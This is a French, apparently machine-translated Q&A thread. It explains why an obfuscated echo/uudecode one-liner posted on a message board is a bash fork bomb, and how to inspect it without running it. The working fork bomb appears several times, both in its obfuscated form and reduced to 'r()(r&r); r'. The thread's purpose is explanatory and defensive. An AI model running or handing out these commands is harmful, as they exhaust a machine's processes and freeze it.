Question Comment et pourquoi cette chaîne de texte est-elle une bombe à fourche?


Trouvé sur un tableau de jeu aléatoire:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

D'une manière ou d'une autre, cela se traduit par un processus de reproduction à l'infini qui sévit et bloque la machine. Je vois quelque chose à propos de "su" en essayant d'être exécuté à plusieurs reprises.

..qui est étrange, parce que je m'attendais juste à ce que le texte soit sorti, pas l'exécution de quelque chose.

L'exécution de ce texte via un décodeur en ligne ne me donne qu'un lot de messages binaires:

uudecode result

Qu'est-ce que ce bordel de texte fait réellement, et y a-t-il un moyen de le voir "en toute sécurité"?


129
2017-11-06 06:48


origine


Pourquoi "su" est-il exécuté plusieurs fois? - Brent Washburne
Un conseil: ne lancez pas de code à partir de cartes aléatoires et soyez reconnaissant que ce soit juste une bombe à fourche. - rr-
Il h. Heureusement, je me trouvais sur une machine virtuelle mise au point dans le but exprès de jouer avec de telles erreurs. - Mikey T.K.
Je sais que c'est hors sujet, mais est-il possible de mentionner le tableau et le contexte dans lequel la commande a été mentionnée? - Sebi
@Sebi - archive.rebeccablacktech.com/g/thread/45564403 - Pikamander2


Réponses:


Tout d'abord, regardons la commande entière:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

Il contient une chaîne entre guillemets qui se répercute sur uudecode. Mais, notez que, dans la chaîne entre guillemets est un en retour chaîne. Cette chaîne obtient réalisé. La chaîne est la suivante:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

Si nous regardons ce qu'il contient, nous voyons trois commandes:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

Effectuer extension d'accolade sur la commande du milieu, nous avons:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

La première ligne tente d'exécuter une commande non-sens en arrière-plan. C'est sans importance.

La deuxième ligne est importante: elle définit une fonction r qui, lorsqu'il est exécuté, lance deux copies de lui-même. Chacune de ces copies lancerait bien sûr deux autres exemplaires. Etc.

La troisième ligne court r, en commençant la bombe à fourche.

Le reste du code, en dehors de la chaîne de caractères citée en retour, est tout simplement inutile.

Comment exécuter la commande sans encombre

Ce code peut être exécuté en toute sécurité si nous définissons une limite au niveau d'imbrication des fonctions. Cela peut être fait avec les bash FUNCNEST variable. Ici, nous le réglons à 2 et cela arrête la récursivité:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Les messages d'erreur ci-dessus montrent que (a) les commandes non-sens rYWdl et Y29j ne sont pas trouvés, (b) la bombe est arrêtée à plusieurs reprises par FUNCNEST, et (c) la sortie de echo ne commence pas par begin et, par conséquent, ne sont pas des entrées valides pour uudecode.

La bombe à fourche dans sa forme la plus simple

À quoi ressemblerait la bombe à fourche si nous supprimions l'obscurcissement? Comme le suggèrent njzk2 et gerrit, cela ressemblerait à ceci:

echo "`r()(r&r);r`"

Nous pouvons simplifier cela encore plus loin:

r()(r&r); r

Cela consiste en deux instructions: on définit la fonction de fourche r et le deuxième court r.

Tous les autres codes, y compris le tuyau à uudecode, était là juste pour l'obscurcissement et la mauvaise direction.

La forme originale avait encore une autre couche de mauvaise direction

Le PO a fourni un lien à la discussion du conseil d'administration sur laquelle ce code est apparu. Comme présenté ici, le code ressemblait à ceci:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

Notez l'un des premiers commentaires à propos de ce code:

Je suis tombé pour ça. Copié seulement la partie qui fait écho et décode, mais toujours   a bombe

Dans la forme sur le tableau, on penserait naïvement que le problème serait le eval déclaration opérant à la sortie de uudecode. Cela conduirait à penser que la suppression eval résoudrait le problème. Comme nous l'avons vu ci-dessus, c'est faux et dangereux.


189
2017-11-06 07:07



Sournois! Je n’ai jamais pensé à envisager la globalisation / expansion du shell au milieu de la chaîne en écho. - Mikey T.K.
Je pense qu'il serait bon de noter que uudecode est complètement hors de propos ici. Pendant un moment j'ai pensé uudecode effectuait une interpolation de chaîne entre guillemets, ce qui la rendrait fondamentalement dangereuse, mais la bombe à fourche se produit avant que le code uudecode ne démarre du tout. - gerrit
...et ce, mesdames et messieurs, c’est pourquoi la sécurité dans les scripts shell est si difficile. Même des choses totalement inoffensives peuvent vous tuer. (Imaginez si c'était une entrée d'utilisateur de quelque part ...) - MathematicalOrchid
@ MathematicalOrchid Il faut en fait un effort non trivial pour faire en sorte que les éléments en retour de l'utilisateur soient exécutés dans un script shell. Et si tu es construire un script shell à partir de l'entrée utilisateur que vous devriez savoir mieux que de le mettre entre guillemets. - Random832
@ njzk2 Vous avez toujours besoin d'un &Là: echo "`r()(r&r);r`". - gerrit


Pour répondre à la deuxième partie de votre question:

... y a-t-il un moyen de le voir "en toute sécurité"?

Pour désamorcer cette chaîne, Remplacez les guillemets externes par des guillemets simples et échappez aux guillemets simples apparaissant à l'intérieur de la chaîne. Comme ceci, le shell n'exécutera aucun code, et vous passez tout directement à uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

D'autres alternatives sont notées dans les commentaires:

Kasperd a suggéré:

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

Jacob Krall a suggéré Pour utiliser un éditeur de texte, collez le contenu, puis transmettez ce fichier à uudecode.


10
2017-11-06 11:26



Alternativement: Type uudecode sur la ligne de commande. Appuyez sur Entrée. Copiez-collez la chaîne à décoder. - kasperd
Autre alternative: utilisez un éditeur de texte pour enregistrer le contenu dans un fichier. Ouvrez ce fichier avec uudecode. - Jacob Krall
Grâce aux deux, j'ai noté ces alternatives dans la réponse. - gerrit
Assurez-vous de vérifier que la chaîne n'est pas quelque chose comme echo "foo`die`bar'`die`'baz" premier! C'est-à-dire, s'il y en a 's en remplaçant alors les guillemets par des guillemets simples ne suffira pas. - wchargin


À première vue, vous pourriez penser que la sortie du shell ne sera jamais exécutée. C'est toujours vrai. Le problème est déjà dans le contribution. L'astuce principale est ce que les programmeurs appellent priorité de l'opérateur. C'est l'ordre dans lequel le shell tente de traiter votre saisie:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. Composez la chaîne en exécutant toutes les commandes backticks qu'elle contient.
  2. Habituellement une commande inconnue, qui provoquerait une sortie comme Si 'rYWdl' n'est pas une faute de frappe, vous pouvez utiliser command-not-found pour rechercher le paquet qui le contient ... (dépend du système)
  3. Exécute 2. en arrière-plan. Vous ne verrez jamais une sortie.
  4. Définir la fonction de bombe à fourche.
  5. Séparateur de commandes.
  6. Exécutez la bombe à fourche.
  7. Insérez le résultat de 6. dans la chaîne. (Nous ne venons jamais ici.)

L'erreur est de penser que echo serait la première commande à être exécutée, uudecode la deuxième. Les deux ne seront jamais atteints.

Conclusion: Les citations doubles sont toujours dangereuses sur le shell.


5
2017-11-11 08:01